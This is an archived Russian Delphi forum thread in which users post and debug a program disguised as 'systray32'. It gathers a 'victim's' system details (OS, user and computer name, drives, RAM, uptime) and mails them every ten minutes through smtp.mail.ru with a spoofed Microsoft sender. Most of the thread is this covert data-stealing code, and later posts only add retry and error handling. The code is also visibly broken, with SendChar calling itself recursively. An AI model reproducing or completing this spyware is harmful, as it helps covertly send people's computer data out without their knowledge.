Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Сети";
Текущий архив: 2003.01.06;
Скачать: [xml.tar.bz2];

Вниз

Отправка письма   Найти похожие ветки 

 
X-shadow   (2002-11-07 05:47) [0]

program systray32;

uses
Windows,
SysUtils,
WinSock;

function WinDir: string;
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetSystemDirectory(PChar(strBuffer),1000);
WinDir:=Trim(Copy(strBuffer,1,intLen));
end;

const typstr:array[DRIVE_REMOVABLE..DRIVE_RAMDISK] of string[11]=
("[Removable]","[Fixed]","[Local]","[CD-ROM]","[RAM]");

EOLn = #$0D#$0A;
// от кого...., на некоторых серверах можно писать что угодно
MailFrom : String = "one_more_lamer_from@microsoft.com";
// кому
RCPT_TO : String = "one_lamer@mail.ru";
// здесь порт.... обычно 25
port : Word = 25;
// имя, для логина на сервере
LoginName : String = "one_lamer";
// тема
Subject : String = "Lamers World";
// кому отвечать
ReplyTo : String = "one_more_lamer_from@microsoft.com";

var
ov:_osversioninfoa;
buf:array[0..255]of char;
tmp,tmp2,tmp3:int64;
tmp4:cardinal;
st:_systemtime;
ms:tmemorystatus;
c:char;
i,typ:integer;
ip,str,PCNAME,Language:String;
LanguageID:LangID;
Lang: array [0..100] of char;
wsa:wsadata;
q:phostent;
adr:pchar;
WSData : TWSADATA;
SocketIn : TSockAddrIn;
Sockt : TSocket;
IPaddr : Integer;
buf2 : array [0..255] of Char;

Procedure cinf;
begin
ov.dwOSVersionInfoSize:=sizeof(_osversioninfoa);
getversionex(ov);
case ov.dwPlatformId of
VER_PLATFORM_WIN32s: str:=str+"3.1 + Win32s ";
VER_PLATFORM_WIN32_WINDOWS: if ov.dwMinorVersion=10 then str:=str+"98 " else if ov.dwMinorVersion=0 then str:=str+"95 " else str:=str+"9X/ME ";
VER_PLATFORM_WIN32_NT: str:=str+"WinNT/Win2000/WinXP ";
end;
LanguageID:=GetSystemDefaultLangID;
VerLanguageName(LanguageID,Lang,100);
Language:=(Lang);
str:="Win version: "+str+inttostr(ov.dwMajorVersion)+"."+inttostr(ov.dwMinorVersion)+"."+inttostr(loword(ov.dwBuildNumber))+"("+ov.szCSDVersion+")"#13#10+"Windows directory: ";
getwindowsdirectory(buf,255);
str:=str+buf+#13#10+"System directory: ";
getsystemdirectory(buf,255);
str:=str+buf+#13#10+"Temp directory: ";
gettemppath(255,buf);
str:=str+buf;
str:=str+#13#10"Mouse: ";
tmp4:=getsystemmetrics(SM_CMOUSEBUTTONS);
if tmp4=0 then str:=str+"?? ????????????" else str:=str+" Present ("+inttostr(tmp4)+" buttons)";
str:=str+#13#10"Screen resolution: "+inttostr(getsystemmetrics(SM_CXSCREEN))+"x"+inttostr(getsystemmetrics(SM_CYSCREEN));
getlocaltime(st);
str:=str+#13#10"Victim""s time: "+inttostr(st.wHour)+":"+inttostr(st.wMinute);
ms.dwLength:=sizeof(ms);
globalmemorystatus(ms);
str:=str+#13#10"RAM: "+inttostr(ms.dwTotalPhys div 1000)+" Kb";
tmp4:=255; getusername(@buf,tmp4);
str:=str+#13#10"User name: "+buf;
tmp4:=255; getcomputername(@buf,tmp4);
str:=str+#13#10"Computer name: "+buf;
PCNAME:=buf;
str:=str+#13#10"language: "+Language;
str:=str+#13#10"PC is Up for: "+inttostr(gettickcount div 60000)+" minute(s) ( >"+inttostr(gettickcount div (60000*60))+" hour)"#13#10;
str:=str+#13#10"Drives:"#13#10;
for c:="A" to "Z" do begin
typ:=getdrivetype(pchar(c+":\"));
if typ>1 then begin
if ((ov.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS)and((ov.dwMinorVersion>=10)or(ov.dwBuildNumber>1000)))or(ov.dwPlatformId=VER_PLATFORM_WIN32_NT) then begin
if ((typ=DRIVE_FIXED)or(typ=DRIVE_REMOTE)or(typ=DRIVE_RAMDISK)) then begin
getdiskfreespaceex(pchar(c+":\"),tmp,tmp2,@tmp3);
str:=str+c+": "+typstr[typ]+" (size: "+inttostr(tmp2 div 1000000)+" Mb; free: "+inttostr(tmp3 div 1000000)+" Mb)"#13#10;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
begin
str:=str+#13#10+buf2;
end;
end;
end;
end;

procedure SendChar(s:string);
begin
repeat
for i := 1 to Length(s) do if Send(Sockt,s[i],1,0)=SOCKET_ERROR then exit;
sleep(10*60*1000);
wsastartup($101,wsa);
q:=gethostbyname(pchar("smtp.mail.ru"));
adr:=q.h_addr_list^;
IP:=floattostr(byte(adr[0]))+"."+floattostr(byte(adr[1]))+"."+ floattostr(byte(adr[2]))+"."+floattostr(byte(adr[3]));
WSAStartUp(257,WSData);
Sockt := Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
SocketIn.sin_family := AF_INET;
htons(port);
SocketIn.sin_port := htons(port);
IPaddr := inet_addr(PChar(IP));
SocketIn.sin_addr.S_addr := IPaddr;

Connect(Sockt,SocketIn,SizeOf(SocketIn));
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("HELO "+ LoginName + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("MAIL FROM: "+ MailFrom + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("RCPT TO: " + RCPT_TO + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("DATA"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("reply-to: "+ReplyTo+EOLn);
SendChar("subject: "+Subject+EOLn);
SendChar(str+EOLn);
SendChar(EOLn+"."+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("QUIT"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
CloseSocket(Sockt);
until false;
end;
end.


 
/*Drive*/   (2002-11-07 06:07) [1]

procedure SendChar(s:string);
begin
repeat
sleep(10*60*1000);
wsastartup($101,wsa);
q:=gethostbyname(pchar("smtp.mail.ru"));
adr:=q.h_addr_list^;
IP:=floattostr(byte(adr[0]))+"."+floattostr(byte(adr[1]))+"."+ floattostr(byte(adr[2]))+"."+floattostr(byte(adr[3]));
wsacleanup();
WSAStartUp(257,WSData);
Sockt := Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
SocketIn.sin_family := AF_INET;
htons(port);
SocketIn.sin_port := htons(port);
IPaddr := inet_addr(PChar(IP));
SocketIn.sin_addr.S_addr := IPaddr;
Connect(Sockt,SocketIn,SizeOf(SocketIn));
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("HELO "+ LoginName + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("MAIL FROM: "+ MailFrom + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("RCPT TO: " + RCPT_TO + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("DATA"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("reply-to: "+ReplyTo+EOLn);
SendChar("subject: "+Subject+EOLn);
SendChar(str+EOLn);
SendChar(EOLn+"."+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("QUIT"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
CloseSocket(Sockt);
wsacleanup ();
until false;
end;
end.





А что это делает !!!!!!!!
for i := 1 to Length(s) do if Send(Sockt,s[i],1,0)=SOCKET_ERROR then exit;


 
/*Drive*/   (2002-11-07 06:19) [2]

try
...........
.......Код
........
........
except
обработчик ошибки !!!! (если нужен !!!)
end;


 
X-shadow   (2002-11-07 06:40) [3]

procedure SendChar(s:string);
begin
repeat
sleep(10*60*1000);
try
wsastartup($101,wsa);
q:=gethostbyname(pchar("smtp.mail.ru"));
adr:=q.h_addr_list^;
IP:=floattostr(byte(adr[0]))+"."+floattostr(byte(adr[1]))+"."+ floattostr(byte(adr[2]))+"."+floattostr(byte(adr[3]));
wsacleanup();
WSAStartUp(257,WSData);
Sockt := Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
SocketIn.sin_family := AF_INET;
htons(port);
SocketIn.sin_port := htons(port);
IPaddr := inet_addr(PChar(IP));
SocketIn.sin_addr.S_addr := IPaddr;
Connect(Sockt,SocketIn,SizeOf(SocketIn));
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("HELO "+ LoginName + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("MAIL FROM: "+ MailFrom + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("RCPT TO: " + RCPT_TO + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("DATA"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("reply-to: "+ReplyTo+EOLn);
SendChar("subject: "+Subject+EOLn);
SendChar(str+EOLn);
SendChar(EOLn+"."+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("QUIT"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
CloseSocket(Sockt);
wsacleanup ();
except
end;
until false;
end;


 
X-shadow   (2002-11-07 06:59) [4]

procedure SendChar(s:string);
var
Povtor:boolean;
begin
repeat
sleep(10*60*1000);
try
wsastartup($101,wsa);
q:=gethostbyname(pchar("smtp.mail.ru"));
adr:=q.h_addr_list^;
IP:=floattostr(byte(adr[0]))+"."+floattostr(byte(adr[1]))+"."+ floattostr(byte(adr[2]))+"."+floattostr(byte(adr[3]));
wsacleanup();
WSAStartUp(257,WSData);
Sockt := Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
SocketIn.sin_family := AF_INET;
htons(port);
SocketIn.sin_port := htons(port);
IPaddr := inet_addr(PChar(IP));
SocketIn.sin_addr.S_addr := IPaddr;
Connect(Sockt,SocketIn,SizeOf(SocketIn));
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("HELO "+ LoginName + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("MAIL FROM: "+ MailFrom + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("RCPT TO: " + RCPT_TO + EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("DATA"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("reply-to: "+ReplyTo+EOLn);
SendChar("subject: "+Subject+EOLn);
SendChar(str+EOLn);
SendChar(EOLn+"."+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
SendChar("QUIT"+EOLn);
Recv(Sockt, buf2, SizeOf(buf2),0);
CloseSocket(Sockt);
wsacleanup ();
except
end;
povtor:=false;
until false;
end;



Страницы: 1 вся ветка

Форум: "Сети";
Текущий архив: 2003.01.06;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.47 MB
Время: 0.007 c
1-15072
ИгорьК
2002-12-24 14:10
2003.01.06
Завершение работы программы


1-15140
Shc
2002-12-17 20:29
2003.01.06
RTF


8-15169
Aric
2002-09-18 19:09
2003.01.06
Скроллинг изображения


1-14999
Natali
2002-12-23 13:53
2003.01.06
команды WinAPI


1-15031
Gamar
2002-12-24 13:07
2003.01.06
Разница между двумя датами в миллисекундах





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский